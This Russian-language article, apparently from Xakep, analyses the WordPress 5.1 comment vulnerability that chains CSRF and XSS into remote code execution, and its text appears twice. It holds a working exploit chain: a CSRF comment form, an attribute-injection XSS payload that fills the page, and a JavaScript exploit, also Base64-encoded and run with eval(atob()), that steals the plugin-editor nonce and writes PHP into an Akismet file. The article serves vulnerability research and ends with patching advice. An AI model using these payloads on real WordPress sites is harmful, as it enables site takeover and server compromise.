От XSS до RCE одним движением мыши. Эксплуатируем новую уязвимость в WordPress
Не прошло и месяца с последнего раза, как ребята из RIPS снова обнаружили уязвимость в WordPress. На этот раз уязвимость — в комментариях. Проблему усугубляет отсутствие токенов CSRF, в итоге уязвимость можно эксплуатировать, просто посетив сайт злоумышленника.
Корень проблемы в том, что текст комментария недостаточно фильтруется, если его оставляет администратор, а излишнее экранирование некоторых функций позволяет провести атаку типа межсайтовый скриптинг. Из-за особенностей администрирования WordPress XSS легко превращается в RCE.
Про баг снова сообщил Саймон Сканнелл (Simon Scannell) из RIPS Tech.
Стенд
Нам понадобится две машины: одна с WordPress, вторая же будет выступать в роли сайта злоумышленника. С него будет производиться атака «межсайтовая подделка запроса» (CSRF), результатом которой станет комментарий с полезной нагрузкой от имени администратора CMS.
Для этих целей используем пару контейнеров Docker. Начнем с WordPress. Сначала поднимаем базу данных MySQL.
Теперь веб-сервер и сопутствующие пакеты.
Если будешь заниматься отладкой, то наряду с установкой расширения xdebug нужно указать необходимые настройки.
Теперь скачиваем последнюю уязвимую версию WordPress — это 5.1.
Затем распаковываем ее в веб-рут.
После этого можно запускать сервер и приступать к установке CMS.
Инсталляция WordPress
После настройки основных параметров можно отключить автоматическое обновление, добавив в конфигурационный файл такую строку:
С первым стендом мы закончили, переходим ко второму. Назовем его машиной атакующего.
Устанавливаем веб-сервер и текстовый редактор.
И это все, что нам здесь понадобится. Запускаем Apache, и стенд готов.
Анализ уязвимости
Баг у нас — в системе комментирования. Давай посмотрим на нее пристальнее. Вся логика находится в файле /wp-includes/comment.php. Попробуем оставить коммент с тегом HTML в его тексте.
Обработкой входящих комментариев занимается функция wp_handle_comment_submission, в нее информация попадает после нажатия на кнопку Post Comment.
wp-includes/comment.php
Отладка функции размещения комментария
Вначале идет блок базовой фильтрации переданных пользователем данных, нужный, чтобы они соответствовали ожиданиям WordPress.
wp-includes/comment.php
После этого проверяется наличие авторизации в системе.
wp-includes/comment.php
Так как в данный момент я не залогинен в системе, тело условия игнорируется и выполнение кода продолжается.
Наконец, мы доходим до вызова функции wp_new_comment. Она заносит информацию о новом комментарии в таблицу wp_comments базы данных.
wp-includes/comment.php
Пользовательские данные предварительно проходят санитизацию с помощью функции wp_slash.
wp-includes/formatting.php
И текст комментария превращается в
. Затем, уже внутри wp_new_comment, выполняется фильтрация всех переданных данных вызовом wp_filter_comment.
wp-includes/comment.php
wp-includes/comment.php
Список фильтров состоит из нескольких функций:
Фильтрация комментария внутри функции wp_filter_comment
Больше всего нас интересует wp_filter_kses. Эта функция удаляет все нежелательные элементы и атрибуты HTML, а также выполняет ряд проверок, чтобы избежать межсайтового скриптинга (XSS).
wp-includes/kses.php
wp-includes/kses.php
Здесь последний вызов wp_kses_split убирает из текста комментария все HTML-теги, которые не разрешены разработчиками WordPress.
wp-includes/kses.php
Фильтрация текста комментария при помощи kses
По умолчанию список разрешенных тегов включает в себя: a, abbr, acronym, b, blockquote, cite, code, del, em, i, q, s, strike, strong.
Список разрешенных в комментарии HTML-тегов
Наш комментарий состоит из одного лишь img, и, как видишь, в списке он отсутствует. Поэтому, после того как функция отработает, весь текст комментария будет удален.
Текст комментария после прохождения фильтрации
Теперь ты понимаешь, через что приходится пройти комментарию прежде, чем он попадет в базу данных.
Сейчас авторизуемся от имени администратора и оставим комментарий с тегом a, который разрешен.
Теперь отработает тот участок кода, где проверялось наличие активной пользовательской сессии.
wp-includes/comment.php
Тут заполняются основные параметры комментария, такие как имя автора, email и прочие, и проверяется наличие у пользователя флага unfiltered_html. Юзеры с этим флагом могут использовать HTML-разметку или даже код JavaScript в страницах, сообщениях, комментариях и виджетах. По дефолту этот флаг имеется только у роли редактора (editor) и администратора (administrator).
wp-admin/includes/schema.php
Затем проверяется наличие и валидность nonce-токена в параметре
.
wp-includes/comment.php
В качестве CSRF-токенов в WordPress используется система так называемых Nonce. Маркер безопасности nonce представляет собой буквенно-цифровой хеш, который генерируется для каждого действия пользователя и имеет ограниченный срок службы.
Если посмотреть на форму комментирования, то мы увидим, что там отсутствует какая-либо защита от атак CSRF. Это связано с тем, что некоторые механизмы уведомлений WordPress, такие как трекбэк (trackback) и пингбэк (pingback), не могли бы работать корректно, если бы такая защита существовала.
Значит, злоумышленник может создавать комментарии от имени пользователей блога WordPress, используя CSRF-атаки. Именно для борьбы с этим для пользователей, которые могут оставлять комментарии без санитизации, разработчики WordPress ввели nonce-токены.
Когда администратор или любой другой пользователь с unfiltered_html отправляет комментарий с валидным nonce, то комментарий создается без фильтрации. Если токен недействителен, комментарий создается, но к нему применяется санитизация.
В моем случае я отправил комментарий легитимно, от имени администратора, поэтому результат проверки условия ниже будет ложным и функции kses_remove_filters и kses_init_filters не будут вызваны. Комментарий с XSS будет создан.
wp-includes/comment.php
Комментарий с XSS от администратора
Это, конечно, замечательно, но нас интересует реальный вектор атаки!
Поэтому попробуем провернуть то же самое, только с сайта злоумышленника. Для этого перейдем на машину attacker и создадим файл HTML с формой комментирования.
/var/www/html/csrf.html
Вектор используем такой же:
. Обрати внимание на поле _wp_unfiltered_html_comment, в нем должен находиться валидный токен nonce, но, так как у меня его нет, я указываю произвольное значение.
Шаблон страницы для эксплуатации CSRF в комментариях WordPress
Теперь мы попадаем в условие, потому что nonce для этого действия указан неверный.
wp-includes/comment.php
Функция kses_remove_filters убирает фильтры, которые будут вызваны при проверке комментария.
wp-includes/kses.php
А kses_init_filters вновь инициализирует нужные функции для фильтрации.
wp-includes/kses.php
Обрати внимание, что для пользователей с флагом unfiltered_html используется wp_filter_post_kses вместо wp_filter_kses. В чем же отличие?
wp-includes/kses.php
В случае с wp_filter_post_kses используется более лояльная фильтрация входных данных.
wp-includes/kses.php
Например, вот так выглядит список разрешенных атрибутов тега <a>.
Список разрешенных атрибутов при использовании фильтра wp_filter_post_kses
Сравни с тем, что был доступен при использовании wp_filter_kses.
Список разрешенных атрибутов при использовании фильтра wp_filter_kses
Почувствуй разницу, как говорится.
Следует отдельно поговорить о теге <a>. После того как будет выполнена необходимая санитизация текста комментария, WordPress оптимизирует теги <a> для SEO, а именно добавляет атрибут rel. Он определяет отношения между текущим документом и документом, на который ведет ссылка, заданная атрибутом href. За эту операцию отвечает функция wp_rel_nofollow_callback.
wp-includes/formatting.php
Тут есть интересный кусок кода, который отрабатывает только тогда, когда в теге <a> уже указан атрибут rel.
wp-includes/formatting.php
А интересен он вот чем. Цикл на строке 3022 перебирает все существующие атрибуты и приводит их к виду название_атрибута="значение_атрибута". Значение атрибута обрамляется двойными кавычками.
wp-includes/formatting.php
И все бы ничего, вот только значения могут быть обрамлены одинарными кавычками и конструкция
будет считаться валидным атрибутом title, значение которого test". Проверим это, отправив следующий пейлоад и не забыв добавить rel через наш CSRF PoC.
/var/www/html/csrf.html
Передача значения атрибута title в одинарных кавычках
Теперь логика работы внутри цикла foreach нарушится, и на выходе мы получим не совсем те атрибуты для тега <a>, что ожидались. Наконец, функция wp_rel_nofollow_callbackвернет полностью сгенерированную ссылку, в тело которой внедрена строка — по сути, еще один атрибут — INJECT_HERE.
/var/www/html/csrf.html
Внедрение произвольных атрибутов в тег a через функцию wp_rel_nofollow_callback
Вот и долгожданная XSS. Давай сделаем рабочий эксплоит c вызовом каноничного alert().
Для выполнения JavaScript будем использовать атрибут onmousemove. Таким образом, скрипт будет срабатывать при наведении курсором мыши на ссылку. Чтобы наш пейлоад отрабатывал постоянно, немного изменим стиль ссылки при помощи атрибута style и нескольких свойств CSS, которые заставят ссылку перекрыть всю область отображения сайта.
csrf.html
Атрибут style тоже инжектим при помощи бага, так как его простое использование в теле будет отфильтровано CMS и останутся только безобидные свойства типа height и width.
После того как функция wp_rel_nofollow_callback отработает, наш тег примет законченный вид.
Полезная нагрузка после работы функции wp_rel_nofollow_callback превращается в XSS
Далее комментарий добавляется в базу данных, а нас редиректит на страницу записи. И, благодаря манипуляции со стилями, XSS-вектор сразу же отрабатывает.
Успешная XSS атака на WordPress 5.1
Дальше ты можешь применить фантазию и сгенерировать нужную в конкретном случае полезную нагрузку. Так как все последующие манипуляции будут выполнены непосредственно в контексте атакуемого сайта, никакие заголовки CORS не помогут противостоять возможным деструктивным действиям.
Как ты знаешь, WordPress позволяет администраторам редактировать файлы плагинов и тем, если для этого имеются соответствующие права доступа в ОС. Поэтому не составит большого труда написать эксплоит, который сможет получить токен CSRF на редактирование какого-нибудь файла плагина и затем записать туда любой код на PHP.
Я накидал небольшой PoC, который редактирует стандартный файл index.php плагина akismet.
exploit.js
Для упрощения эксплоит я минимизировал и перевел в Base64, а затем записал в CSRF-пейлоад. Используя функцию atob, привожу эксплоит в нормальный вид и с помощью evalвыполняю его.
csrf.html
Так что от XSS до RCE тут всего лишь один взмах мышкой.
Демонстрация уязвимости (видео)
Выводы
Сегодня ты узнал об очередной уязвимости, найденной исследователями из RIPS. Многие безопасники недооценивают XSS-атаки, однако глупо будет отрицать, что есть контексты, где этот вид атаки имеет критический уровень опасности. Возможности административной панели позволяют с легкостью превратить XSS в RCE.
Хорошо хоть, что разработчики WordPress оперативно реагируют на уязвимости и с завидной регулярностью выпускают заплатки, да и автоматическое обновление системы тут как нельзя кстати. Поэтому, если по каким-то причинам оно у тебя отключено, немедленно обновляйся на версию CMS под номером 5.1.1.
А еще есть смысл перестать ходить по незнакомым сайтам в браузере, где ты авторизован на важных для тебя ресурсах как администратор.
Автор: aLLy
хакер.ру
Не прошло и месяца с последнего раза, как ребята из RIPS снова обнаружили уязвимость в WordPress. На этот раз уязвимость — в комментариях. Проблему усугубляет отсутствие токенов CSRF, в итоге уязвимость можно эксплуатировать, просто посетив сайт злоумышленника.
Корень проблемы в том, что текст комментария недостаточно фильтруется, если его оставляет администратор, а излишнее экранирование некоторых функций позволяет провести атаку типа межсайтовый скриптинг. Из-за особенностей администрирования WordPress XSS легко превращается в RCE.
Про баг снова сообщил Саймон Сканнелл (Simon Scannell) из RIPS Tech.
Стенд
Нам понадобится две машины: одна с WordPress, вторая же будет выступать в роли сайта злоумышленника. С него будет производиться атака «межсайтовая подделка запроса» (CSRF), результатом которой станет комментарий с полезной нагрузкой от имени администратора CMS.
Для этих целей используем пару контейнеров Docker. Начнем с WordPress. Сначала поднимаем базу данных MySQL.
Код:
$ docker run -d --rm -e MYSQL_USER="wpxss" -e MYSQL_PASSWORD="CdAT1pQ2lY" -e MYSQL_DATABASE="wpxss" --name=wpmysql --hostname=mysql mysql/mysql-server:5.7
Код:
$ docker run -it --rm -p80:80 --name=wpxss --hostname=wpxss --link=wpmysql debian /bin/bash
$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-xdebug nano wget
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
Код:
$ cd /tmp && wget "https://wordpress.org/wordpress-5.1.tar.gz"
Код:
$ tar xzf wordpress-5.1.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Код:
$ service apache2 start
Инсталляция WordPress
После настройки основных параметров можно отключить автоматическое обновление, добавив в конфигурационный файл такую строку:
Код:
$ echo "define( 'WP_AUTO_UPDATE_CORE', false );" >> /var/www/html/wp-config.php
Код:
$ docker run -it --rm -p8080:80 --name=attacker --hostname=attacker debian /bin/bash
Код:
$ apt-get update && apt-get install -y apache2 nano
Код:
$ service apache2 start
Анализ уязвимости
Баг у нас — в системе комментирования. Давай посмотрим на нее пристальнее. Вся логика находится в файле /wp-includes/comment.php. Попробуем оставить коммент с тегом HTML в его тексте.
Код:
<img src="a" onerror=alert()>
wp-includes/comment.php
Код:
3112: function wp_handle_comment_submission( $comment_data ) {
Отладка функции размещения комментария
Вначале идет блок базовой фильтрации переданных пользователем данных, нужный, чтобы они соответствовали ожиданиям WordPress.
wp-includes/comment.php
PHP:
3117: if ( isset( $comment_data['comment_post_ID'] ) ) {
3118: $comment_post_ID = (int) $comment_data['comment_post_ID'];
3119: }
3120: if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
3121: $comment_author = trim( strip_tags( $comment_data['author'] ) );
3122: }
3123: if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
3124: $comment_author_email = trim( $comment_data['email'] );
3125: }
3126: if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
3127: $comment_author_url = trim( $comment_data['url'] );
3128: }
3129: if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
3130: $comment_content = trim( $comment_data['comment'] );
3131: }
3132: if ( isset( $comment_data['comment_parent'] ) ) {
3133: $comment_parent = absint( $comment_data['comment_parent'] );
3134: }
wp-includes/comment.php
PHP:
3230: // If the user is logged in
3231: $user = wp_get_current_user();
3232: if ( $user->exists() ) {
...
3248: } else {
3249: if ( get_option( 'comment_registration' ) ) {
3250: return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 );
3251: }
3252: }
Наконец, мы доходим до вызова функции wp_new_comment. Она заносит информацию о новом комментарии в таблицу wp_comments базы данных.
wp-includes/comment.php
PHP:
3293: $comment_id = wp_new_comment(wp_slash($commentdata), true);
wp-includes/formatting.php
PHP:
5301: function wp_slash( $value ) {
5302: if ( is_array( $value ) ) {
5303: foreach ( $value as $k => $v ) {
5304: if ( is_array( $v ) ) {
5305: $value[ $k ] = wp_slash( $v );
5306: } else {
5307: $value[ $k ] = addslashes( $v );
5308: }
5309: }
5310: } else {
5311: $value = addslashes( $value );
5312: }
5313:
5314: return $value;
5315: }
Код:
<img src=\"a\" onerror=alert()>
wp-includes/comment.php
PHP:
2024: function wp_new_comment( $commentdata, $avoid_die = false ) {
...
2071: $commentdata = wp_filter_comment( $commentdata );
PHP:
1896: /**
1897: * Filters and sanitizes comment data.
...
1907: */
1908: function wp_filter_comment( $commentdata ) {
...
1936: /**
1937: * Filters the comment content before it is set.
1938: *
1939: * @since 1.5.0
1940: *
1941: * @param string $comment_content The comment content.
1942: */
1943: $commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
- convert_invalid_entities
- wp_targeted_link_rel
- wp_filter_kses
- wp_rel_nofollow
- balanceTags
Фильтрация комментария внутри функции wp_filter_comment
Больше всего нас интересует wp_filter_kses. Эта функция удаляет все нежелательные элементы и атрибуты HTML, а также выполняет ряд проверок, чтобы избежать межсайтового скриптинга (XSS).
wp-includes/kses.php
PHP:
1884: function wp_filter_kses( $data ) {
1885: return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
1886: }
PHP:
731: function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
732: if ( empty( $allowed_protocols ) ) {
733: $allowed_protocols = wp_allowed_protocols();
734: }
735: $string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
736: $string = wp_kses_normalize_entities( $string );
737: $string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
738: return wp_kses_split( $string, $allowed_html, $allowed_protocols );
739: }
wp-includes/kses.php
PHP:
943: function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
944: global $pass_allowed_html, $pass_allowed_protocols;
945: $pass_allowed_html = $allowed_html;
946: $pass_allowed_protocols = $allowed_protocols;
947: return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
948: }
...
1012: function _wp_kses_split_callback( $match ) {
1013: global $pass_allowed_html, $pass_allowed_protocols;
1014: return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
1015: }
...
1038: function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
1039: $string = wp_kses_stripslashes( $string );
...
1071: if ( ! is_array( $allowed_html ) ) {
1072: $allowed_html = wp_kses_allowed_html( $allowed_html );
1073: }
1074:
1075: // They are using a not allowed HTML element.
1076: if ( ! isset( $allowed_html[ strtolower( $elem ) ] ) ) {
1077: return '';
1078: }
Фильтрация текста комментария при помощи kses
По умолчанию список разрешенных тегов включает в себя: a, abbr, acronym, b, blockquote, cite, code, del, em, i, q, s, strike, strong.
Список разрешенных в комментарии HTML-тегов
Наш комментарий состоит из одного лишь img, и, как видишь, в списке он отсутствует. Поэтому, после того как функция отработает, весь текст комментария будет удален.
Текст комментария после прохождения фильтрации
Теперь ты понимаешь, через что приходится пройти комментарию прежде, чем он попадет в базу данных.
Сейчас авторизуемся от имени администратора и оставим комментарий с тегом a, который разрешен.
Код:
<a href="a" onmousemove=alert()>Test
wp-includes/comment.php
PHP:
3112: function wp_handle_comment_submission( $comment_data ) {
...
3231: $user = wp_get_current_user();
3232: if ( $user->exists() ) {
3233: if ( empty( $user->display_name ) ) {
3234: $user->display_name = $user->user_login;
3235: }
3236: $comment_author = $user->display_name;
3237: $comment_author_email = $user->user_email;
3238: $comment_author_url = $user->user_url;
3239: $user_ID = $user->ID;
3240: if ( current_user_can( 'unfiltered_html' ) ) {
...
3247: }
wp-admin/includes/schema.php
PHP:
708: function populate_roles_160() {
...
723: add_role( 'administrator', 'Administrator' );
724: add_role( 'editor', 'Editor' );
...
729: // Add caps for Administrator role
730: $role = get_role( 'administrator' );
...
743: $role->add_cap( 'unfiltered_html' );
...
762: // Add caps for Editor role
763: $role = get_role( 'editor' );
...
768: $role->add_cap( 'unfiltered_html' );
Код:
_wp_unfiltered_html_comment
wp-includes/comment.php
PHP:
3240: if ( current_user_can( 'unfiltered_html' ) ) {
3241: if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242: || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243: ) {
3244: kses_remove_filters(); // start with a clean slate
3245: kses_init_filters(); // set up the filters
3246: }
3247: }
Если посмотреть на форму комментирования, то мы увидим, что там отсутствует какая-либо защита от атак CSRF. Это связано с тем, что некоторые механизмы уведомлений WordPress, такие как трекбэк (trackback) и пингбэк (pingback), не могли бы работать корректно, если бы такая защита существовала.
Значит, злоумышленник может создавать комментарии от имени пользователей блога WordPress, используя CSRF-атаки. Именно для борьбы с этим для пользователей, которые могут оставлять комментарии без санитизации, разработчики WordPress ввели nonce-токены.
Когда администратор или любой другой пользователь с unfiltered_html отправляет комментарий с валидным nonce, то комментарий создается без фильтрации. Если токен недействителен, комментарий создается, но к нему применяется санитизация.
В моем случае я отправил комментарий легитимно, от имени администратора, поэтому результат проверки условия ниже будет ложным и функции kses_remove_filters и kses_init_filters не будут вызваны. Комментарий с XSS будет создан.
wp-includes/comment.php
PHP:
3241: if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242: || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243: ) {
3244: kses_remove_filters(); // start with a clean slate
3245: kses_init_filters(); // set up the filters
3246: }
Комментарий с XSS от администратора
Это, конечно, замечательно, но нас интересует реальный вектор атаки!
/var/www/html/csrf.html
Код:
<html>
<body>
<form action="http://wpxss.vh/wp-comments-post.php" method="POST">
<input type="text" name="comment" value="<a href="a" onmousemove=alert()>Click" />
<input type="hidden" name="submit" value="Post Comment" />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Код:
<a href="a" onmousemove=alert()>Test
Шаблон страницы для эксплуатации CSRF в комментариях WordPress
Теперь мы попадаем в условие, потому что nonce для этого действия указан неверный.
wp-includes/comment.php
Код:
3241: if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242: || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243: ) {
3244: kses_remove_filters(); // start with a clean slate
3245: kses_init_filters(); // set up the filters
wp-includes/kses.php
Код:
2005: function kses_remove_filters() {
...
2009: // Comment filtering
2010: remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
2011: remove_filter( 'pre_comment_content', 'wp_filter_kses' );
...
2017: }
wp-includes/kses.php
Код:
1976: function kses_init_filters() {
...
1980: // Comment filtering
1981: if ( current_user_can( 'unfiltered_html' ) ) {
1982: add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
1983: } else {
1984: add_filter( 'pre_comment_content', 'wp_filter_kses' );
1985: }
...
1991: }
wp-includes/kses.php
Код:
1884: function wp_filter_kses( $data ) {
1885: return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
1886: }
...
1915: function wp_filter_post_kses( $data ) {
1916: return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
1917: }
wp-includes/kses.php
Код:
829: function wp_kses_allowed_html( $context = '' ) {
830: global $allowedposttags, $allowedtags, $allowedentitynames;
...
844: switch ( $context ) {
845: case 'post':
846: /** This filter is documented in wp-includes/kses.php */
847: $tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
...
851: $tags = $allowedposttags;
852:
853: $tags['form'] = array(
854: 'action' => true,
855: 'accept' => true,
856: 'accept-charset' => true,
857: 'enctype' => true,
858: 'method' => true,
859: 'name' => true,
860: 'target' => true,
861: );
...
864: $tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
865: }
866:
867: return $tags;
Список разрешенных атрибутов при использовании фильтра wp_filter_post_kses
Сравни с тем, что был доступен при использовании wp_filter_kses.
Список разрешенных атрибутов при использовании фильтра wp_filter_kses
Почувствуй разницу, как говорится.
Следует отдельно поговорить о теге <a>. После того как будет выполнена необходимая санитизация текста комментария, WordPress оптимизирует теги <a> для SEO, а именно добавляет атрибут rel. Он определяет отношения между текущим документом и документом, на который ведет ссылка, заданная атрибутом href. За эту операцию отвечает функция wp_rel_nofollow_callback.
wp-includes/formatting.php
Код:
2984: function wp_rel_nofollow( $text ) {
...
2986: $text = stripslashes( $text );
2987: $text = preg_replace_callback( '|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text );
2988: return wp_slash( $text );
2989: }
...
3002: function wp_rel_nofollow_callback( $matches ) {
3003: $text = $matches[1];
3004: $atts = shortcode_parse_atts( $matches[1] );
wp-includes/formatting.php
Код:
3013: if ( ! empty( $atts['rel'] ) ) {
3014: $parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
3015: if ( false === array_search( 'nofollow', $parts ) ) {
3016: $parts[] = 'nofollow';
3017: }
3018: $rel = implode( ' ', $parts );
wp-includes/formatting.php
Код:
3021: $html = '';
3022: foreach ( $atts as $name => $value ) {
3023: $html .= "{$name}=\"$value\" ";
3024: }
3025: $text = trim( $html );
3026: }
Код:
<a title='test"'>
Код:
<a title='test"INJECT_HERE' rel="any">Click
Код:
<html>
<body>
<form action="http://wpxss.vh/wp-comments-post.php" method="POST">
<input type="text" name="comment" value="<a title='test"INJECT_HERE' rel="any">Click" />
<input type="hidden" name="submit" value="Post Comment" />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Передача значения атрибута title в одинарных кавычках
Теперь логика работы внутри цикла foreach нарушится, и на выходе мы получим не совсем те атрибуты для тега <a>, что ожидались. Наконец, функция wp_rel_nofollow_callbackвернет полностью сгенерированную ссылку, в тело которой внедрена строка — по сути, еще один атрибут — INJECT_HERE.
Код:
<a title="test"INJECT_HERE" rel="any nofollow">Click
Код:
3027: return "<a $text rel=\"$rel\">";
3028: }
Внедрение произвольных атрибутов в тег a через функцию wp_rel_nofollow_callback
Вот и долгожданная XSS. Давай сделаем рабочий эксплоит c вызовом каноничного alert().
Для выполнения JavaScript будем использовать атрибут onmousemove. Таким образом, скрипт будет срабатывать при наведении курсором мыши на ссылку. Чтобы наш пейлоад отрабатывал постоянно, немного изменим стиль ссылки при помощи атрибута style и нескольких свойств CSS, которые заставят ссылку перекрыть всю область отображения сайта.
Код:
<a title='xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert("XSS") name="none' rel="any">Hello
Код:
<html>
<body>
<form action="http://wpxss.vh/wp-comments-post.php" method="POST">
<input type="text" name="comment" value="<a title='xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert("XSS") name="none' rel="any">Hello" />
<input type="hidden" name="submit" value="Post Comment" />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
После того как функция wp_rel_nofollow_callback отработает, наш тег примет законченный вид.
Код:
<a title="xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert("XSS") name="none" rel="any nofollow">Hello
Полезная нагрузка после работы функции wp_rel_nofollow_callback превращается в XSS
Далее комментарий добавляется в базу данных, а нас редиректит на страницу записи. И, благодаря манипуляции со стилями, XSS-вектор сразу же отрабатывает.
Успешная XSS атака на WordPress 5.1
Дальше ты можешь применить фантазию и сгенерировать нужную в конкретном случае полезную нагрузку. Так как все последующие манипуляции будут выполнены непосредственно в контексте атакуемого сайта, никакие заголовки CORS не помогут противостоять возможным деструктивным действиям.
Как ты знаешь, WordPress позволяет администраторам редактировать файлы плагинов и тем, если для этого имеются соответствующие права доступа в ОС. Поэтому не составит большого труда написать эксплоит, который сможет получить токен CSRF на редактирование какого-нибудь файла плагина и затем записать туда любой код на PHP.
Я накидал небольшой PoC, который редактирует стандартный файл index.php плагина akismet.
exploit.js
Код:
var exploit = function() {
var nonce = '';
var phpcode = '<?php phpinfo();/*';
var pluginurl = '/wp-admin/plugin-editor.php?plugin=akismet/index.php&Submit=Select';
var pluginupdateurl = '/wp-admin/admin-ajax.php';
var file = "akismet/index.php";
var plugin = "akismet/akismet.php";
console.log("Get nonce token.");
jQuery.get(pluginurl, function(data) {
nonce = jQuery(data).find('#template #nonce').val();
if(nonce) {
console.log("Success! nonce: " + nonce);
var postdata = {
"nonce": nonce,
"newcontent": phpcode,
"action": "edit-theme-plugin-file",
"file": file,
"plugin": plugin,
"docs-list": ""
}
console.log("Add PHP code to plugin file.");
jQuery.post(pluginupdateurl, postdata, function(data){
console.log("Success!");
window.open("/wp-content/plugins/akismet/");
});
}
});
}
var h=document.getElementsByTagName('head')[0];
var j=document.createElement('script');
j.onload = exploit;
j.src='/wp-admin/load-scripts.php?load=jquery-core';
h.appendChild(j);
csrf.html
Код:
<html>
<body>
<form action="http://wpxss.vh/wp-comments-post.php" method="POST">
<input type="text" name="comment" value="<a title='xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=eval(atob("dmFyIGV4cGxvaXQ9ZnVuY3Rpb24oKXt2YXIgbz0iIjtjb25zb2xlLmxvZygiR2V0IG5vbmNlIHRva2VuLiIpLGpRdWVyeS5nZXQoIi93cC1hZG1pbi9wbHVnaW4tZWRpdG9yLnBocD9wbHVnaW49YWtpc21ldC9pbmRleC5waHAmU3VibWl0PVNlbGVjdCIsZnVuY3Rpb24oZSl7aWYobz1qUXVlcnkoZSkuZmluZCgiI3RlbXBsYXRlICNub25jZSIpLnZhbCgpKXtjb25zb2xlLmxvZygiU3VjY2VzcyEgbm9uY2U6ICIrbyk7dmFyIG49e25vbmNlOm8sbmV3Y29udGVudDoiPD9waHAgcGhwaW5mbygpOy8qIixhY3Rpb246ImVkaXQtdGhlbWUtcGx1Z2luLWZpbGUiLGZpbGU6ImFraXNtZXQvaW5kZXgucGhwIixwbHVnaW46ImFraXNtZXQvYWtpc21ldC5waHAiLCJkb2NzLWxpc3QiOiIifTtjb25zb2xlLmxvZygiQWRkIFBIUCBjb2RlIHRvIHBsdWdpbiBmaWxlLiIpLGpRdWVyeS5wb3N0KCIvd3AtYWRtaW4vYWRtaW4tYWpheC5waHAiLG4sZnVuY3Rpb24oZSl7Y29uc29sZS5sb2coIlN1Y2Nlc3MhIiksd2luZG93Lm9wZW4oIi93cC1jb250ZW50L3BsdWdpbnMvYWtpc21ldC8iKX0pfX0pfSxoPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0saj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtqLm9ubG9hZD1leHBsb2l0LGouc3JjPSIvd3AtYWRtaW4vbG9hZC1zY3JpcHRzLnBocD9sb2FkPWpxdWVyeS1jb3JlIixoLmFwcGVuZENoaWxkKGopOw==")) name="none' rel="any">Hello
" />
<input type="hidden" name="submit" value="Post Comment" />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Демонстрация уязвимости (видео)
Выводы
Сегодня ты узнал об очередной уязвимости, найденной исследователями из RIPS. Многие безопасники недооценивают XSS-атаки, однако глупо будет отрицать, что есть контексты, где этот вид атаки имеет критический уровень опасности. Возможности административной панели позволяют с легкостью превратить XSS в RCE.
Хорошо хоть, что разработчики WordPress оперативно реагируют на уязвимости и с завидной регулярностью выпускают заплатки, да и автоматическое обновление системы тут как нельзя кстати. Поэтому, если по каким-то причинам оно у тебя отключено, немедленно обновляйся на версию CMS под номером 5.1.1.
А еще есть смысл перестать ходить по незнакомым сайтам в браузере, где ты авторизован на важных для тебя ресурсах как администратор.
Автор: aLLy
хакер.ру